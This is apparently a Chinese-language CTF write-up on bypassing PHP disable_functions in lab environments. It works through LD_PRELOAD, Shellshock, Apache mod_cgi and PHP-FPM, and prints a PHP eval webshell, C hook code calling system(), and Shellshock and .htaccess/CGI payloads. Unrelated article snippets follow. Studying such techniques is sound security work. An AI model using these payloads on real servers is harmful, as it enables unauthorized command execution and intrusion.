bypass disable_function 学习

news2024/12/27 3:42:09

LD_PRELOAD

我是在做了 buu的 REC ME 来做这个系列

所以 LD_PRELOAD 已经有了解了

我们来做这个题目

CTFHub Bypass disable_function —— LD_PRELOAD

本环境来源于AntSword-Labs
<!DOCTYPE html>
<html>
<head>
    <title>CTFHub Bypass disable_function —— LD_PRELOAD</title>
</head>
<body>
<h1>CTFHub Bypass disable_function —— LD_PRELOAD</h1>
<p>本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

通过 request 接受参数 直接传递 然后执行

我们首先看看 phpinfo()

这里我们看到了 过滤了 mail 和 system

题目原本就给了马 我们直接来连接

发现被限制了

我们通过传递 so 和 php 来劫持环境变量

但是这里mail函数被禁用

我们使用 error_log('',1,'','');

我们编写一下hack.so

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

void payload(){

system("ls / -> /var/tmp/flag.txt");
}

int geteuid(){
    
    if(getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
    
}
gcc -shared -fPIC hack.c -o hack.so

然后还需要php 使用 putenv() 调用so文件

<?php
putenv("LD_PRELOAD=/var/tmp/hack.so");
mail("","","","");
error_log("",1,"","");
?>

然后我们上传到 /var/tmp文件夹中

然后通过include("/var/tmp/hack.php");来执行php文件

?ant=include('/var/tmp/hack.php');

然后我们执行 /readflag即可

自己编写确实事故很多 我们直接用现成的吧

shellshock

这里是php破壳 rce

在bash 4.x存在命令执行漏洞

我们首先看看原型

我们首先了解一下bash

bash 允许自定义函数 并且使用函数名调用函数

例如

function test(){
echo "this is test";
}

test #调用这个函数

#输出 this is test

我们看看bash存的内容是什么

KEY = test
VALUE = () { echo "this is test"; }

 那我们修改为恶意代码呢

export ShellShock='() { :; }; echo;/usr/bin/whoami'
bash
>root

这里为什么呢 

KEY = ShellShock
VALUE = '(){:;}; echo; /user/bin/whoami'

 这样 如果我们执行了bash  ShellShock就会作为环境变量直接执行

下面的value 就会被作为一整句代码 执行 这样就绕过了

所以这个题目我们可以写一个php设置环境变量

<?php
putenv("PHP_ABC=() { :; }; ls / > /var/www/html/flag.txt");
error_log("",1,"","");
?>

这里

KEY=PHP_ABC
VALUE= (){:;};ls / > /var/www/html/flag.txt

 这里缩进要注意 不知道为什么 没有缩进就无法实现

访问flag即可

重新修改命令即可 /readflag

或者直接使用 蚁剑的插件绕过即可

Apache Mod CGI

这里是通过 CGI 和 htaccess绕过 disable_function

第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件

 我们通过 htaccess文件指定可以执行cgi文件 然后通过cgi文件执行命令

这里是格式

.htaccess

Options +ExecCGI    
AddHandler  cgi-script .后缀

 CGI

#!/bin/sh
echo&whoami

 我们随便取一个

然后通过 chmod("名字",0777);

加权限

但是我本地无法链接 所以使用 插件

PHP-FPM

攻击PHP-FPM 实现Bypass Disable Functions - 知乎

首先了解什么是PHP-FPM

首先以前是如何访问服务呢 是下面这个

www.baidu.com
     |
     |
webserver(apache)
     |
     |
var(var/www/html)
     |
     |
返回响应

但是出现了 越来越多语言 例如php java

不可能都让 webserver识别

那我们怎么实现呢  例如php webserver 就将 请求发给 php解释器

让他来处理数据

但是 webserver不是简简单单的进行转发 

而是对请求包进行封装 然后发送php解释器

这个协议就是 CGI 对其封装的程序就是 CGI程序

(后来协议和程序都升级了 变成了 FAST-CGI)
 

现在请求包已经封装完成了 应该发给谁呢

于是就发给 PHP-FPM 通过解包转为数据包

按照 FAST-CGI 将 TCP流 解析为 数据

例如下面这样

  www.baidu.com
        |
        |
      nginx
        |
        |
nginx加载 FAST-CGI模块
        |
        |
FAST-CGI对数据进行封装为TCP流,并且发送PHP-FPM
        |
        |
PHP-FPM将数据解析 调用php文件
        |
        |
PHP-FPM将解析完的文件传递回nginx
        |
        |
nginx将响应返回给浏览器

 所以 PHP-FPM 就是 FAST-CGI的解析器

PHP-FPM默认在9000端口打开

那我们如果自己构造 FAST-CGI协议 发送给 PHP-FPM 那我们是不是就可以直接获取信息

 了解完我们来做题

首先看看是否开启PHP-FPM程序

有小马了

发现开启了 默认是 9000

很简单我们直接去蚁剑插件绕过

指定

上传了

然后去访问这个文件

我们现在主要研究一下 蚁剑上传的是什么文件

我们从运行开始看

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 63673;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};
这里主要是向 63673端口发送了payload

其实就睡 在 63673端口 又开启一台 webserver 监听了 63673端口 并且不是用php.ini

这样就不会执行 disable_function

那么这里是通过什么方法来开启webserver呢

//首先随机生成一个php server 端口
let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000


然后就会验证 fpm端口是否可行

然后就会构造请求包 攻击 fpm

触发payload  执行开启新webserver

这里就是通过 fpm执行 ext   开启新的webserver 然后通过转发shell到 新开的webserver上

为什么ext 可以被执行 并且不会受到disable_function限制

这里是通过 直接预留 dll/so 文件中的位置 

要执行什么命令 就写入什么命令 然后通过dll/so执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1054146.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

零基础Linux_9(进程)环境变量+进程地址空间+进程创建fork

目录 1. 环境变量 1.1 环境变量基本概念 1.2 环境变量PATH 1.3 环境变量HOME和SHELL 1.4 获取环境变量&#xff08;main函数参数&#xff09; 1.4.1 main函数第三个参数 1.4.2 设置普通变量和环境变量 1.4.3 main函数前两个参数 2. 进程地址空间 2.1 验证进程地址空…

技术Leader对下管理的法宝-SMART

SMART方法论 源于国外管理大师的《管理的实践》是管理者能够更加明确员工高效工作的利器&#xff0c;科学、规范的对员工绩效制定考核目标和考核标准5个单词缩写 Specific:目标要具体Measurable:目标成果要可衡量(量化) Attainable:目标要可实现&#xff0c;避免过高/过低Rel…

为什么字节大量用GO而不是Java?

见字如面&#xff0c;我是军哥。 我看很多程序员对字节编程语言选型很好奇&#xff0c;为此我还特地问了在字节的两位4-1的技术大佬朋友&#xff0c;然后加上自己的思考&#xff0c;总结了一下就以下 2 个原因&#xff1a; 1、 选型上没有历史包袱 字节的早期的程序员大多来自于…

OpenHarmony Trace的使用

背景&#xff1a; 近期很多开发者反馈OpenHarmony三方库Imageknife有性能问题&#xff1a;连续拖动很多张图片时&#xff0c;界面有明显的卡顿现象。 因为对这个三方库的源码并不了解&#xff0c;因此需要了解目前Imageknife渲染花费了多少时间&#xff0c;最初想的是只有通过…

不愧是疑问解决神器!你强任你强

不愧是疑问解决神器&#xff01;你强任你强&#x1f44d;&#x1f44d;&#x1f44d; 在过去&#xff0c;我习惯用这种方式来阅读书籍或文章&#xff1a;先快速浏览一遍&#xff0c;然后再进行复读&#xff0c;并最终总结所学的知识点。然而&#xff0c;长期以来&#xff0c;我…

VMware中虚拟机没网

VMware中虚拟机没网 1 打开服务2 还原虚拟机网络设置 1 打开服务 2 还原虚拟机网络设置 ————————————————————— 以上就是今日博客的全部内容了 创作不易,若对您有帮助,可否点赞、关注一二呢,感谢支持.

scrapy爬取图片

文章目录 ImagesPipeline使用步骤&#xff1a;1. 数据解析&#xff1a; 获取图片的地址 & 2. 将存储图片地址的item提交到指定的管道类&#xff08;hotgirls.py&#xff09;3. 在管道文件中自制一个基于ImagesPipeLine的一个管道类&#xff01;&#xff01;天大的坑 &#…

Linux常见操作命令(1)

​ 前言&#xff1a;作者也是初学Linux&#xff0c;可能总结的还不是很到位 ♈️今日夜电波&#xff1a;达尔文—林俊杰 0:30━━━━━━️&#x1f49f;──────── 4:06 &#x1f504; ◀️ …

容易理解的归并排序(C语言)

以二路归并为例&#xff0c;可简单理解为&#xff1a; 把一个大的数组拆分成两个数组&#xff0c;拆出来的两个数组再分别拆出两个数组&#xff0c;以此类推&#xff0c;直到每个数组只有一个元素。然后将这些只有一个元素的数组两两合并到一个临时数组&#xff0c;即可完成排序…

ffmpeg、ffplay在线安装,离线导出整个程序,移植到其他服务器使用(linux系统)

环境说明 以ubuntu系统作为说明 在线安装 下面命令会同时安装ffplay和ffmpeg sudo apt-get install ffmpeg怎么验证安装成功&#xff1f; 输入ffmpeg命令 ffmpeg&#xff0c;如图则说明安装成功 转储可执行程序和依赖的文件 找到安装路径&#xff0c;一般在/usr/bin目录…

Redis与分布式-哨兵模式

接上文 Redis与分布式-主从复制 1.哨兵模式 启动一个哨兵&#xff0c;只需要修改配置文件即可&#xff0c; sentinel monitor lbwnb 1247.0.0.1 6001 1先将所有服务关闭&#xff0c;然后修改配置文件&#xff0c;redis Master&#xff0c;redis Slave&#xff0c;redis Slave…

buuctf-[Zer0pts2020]Can you guess it?

点击source&#xff0c;进入源代码 <?php include config.php; // FLAG is defined in config.phpif (preg_match(/config\.php\/*$/i, $_SERVER[PHP_SELF])) {exit("I dont know what you are thinking, but I wont let you read it :)"); }if (isset($_GET[so…

nodejs缓存策略

nodejs缓存策略 缓存是一种强大的技术&#xff0c;可以显著提高nodejs应用程序的性能。 在现代Web应用程序中&#xff0c;性能和效率是直接影响用户体验和应用程序成功的关键因素。 通过将频繁访问的数据存储在缓存中&#xff0c;我们可以减少对昂贵的计算或外部API调用的需求…

记录:Unity脚本的编写

目录 前言添加脚本到unity编写c#脚本查看效果 前言 在学习软件构造这门课的时候&#xff0c;对unity和c#进行了 一定程度的学习&#xff0c;包括简单的建立地形&#xff0c;添加对象&#xff0c;添加材质等&#xff0c;前不久刚好学习了如何通过c#脚本对模型进行操控&#xff…

加入PreAuthorize注解鉴权之后NullPointerException报错

记录一次很坑的bug&#xff0c;加入PreAuthorize注解鉴权之后NullPointerException报错&#xff0c;按理来说没有权限应该403报错&#xff0c;但是这个是500报错&#xff0c;原因是因为controller层的service注入失败&#xff0c;然而我去掉注解后service注入成功&#xff0c;并…

简历项目优化关键方法论-START

START方法论是非常著名的面试法则&#xff0c;经常被面试官使用的工具 Situation:情况、事情、项目需求是在什么情况下发生Task:任务&#xff0c;你负责的做的是什么Action:动作&#xff0c;针对这样的情况分析&#xff0c;你采用了什么行动方式Result:结果&#xff0c;在这样…

Lua如何调用C程序库

在Lua中加载和使用C库需要使用Lua的C API。以下是一个简单的示例&#xff1a; 首先&#xff0c;让我们创建一个C库。在C中&#xff0c;我们可以创建一个文件&#xff0c;如“mylib.c”&#xff0c;包含以下代码&#xff1a; #include <stdio.h> int add(int a, int b) …

imgui开发笔记<1>、ubuntu环境下快速应用

去这个链接下载imgui源码&#xff08;在此之前需要安装opengl glfw3等等&#xff09;&#xff1a; sudo apt-get install libglfw3-dev https://github.com/ocornut/imgui 我这里源码下载到/home/temp/imgui目录下&#xff0c;咱们不需要编译源码成库&#xff0c;而是直接将下…

数据库设计流程---以案例熟悉

案例名字&#xff1a;宠物商店系统 课程来源&#xff1a;点击跳转 信息->概念模型->数据模型->数据库结构模型 将现实世界中的信息转换为信息世界的概念模型&#xff08;E-R模型&#xff09; 业务逻辑 构建 E-R 图 确定三个实体&#xff1a;用户、商品、订单

go-fastdfs分布式文件存储集群搭建和测试

一、官方文件 https://sjqzhang.github.io/go-fastdfs/#character2、集群原理 小集群原理&#xff1a; 大集群原理 二、服务端集群部署 1、在集群每个节点机器上下载安装包 (建议使用最新稳定版本&#xff09; wget --no-check-certificate https://github.com/sjqzhang/go…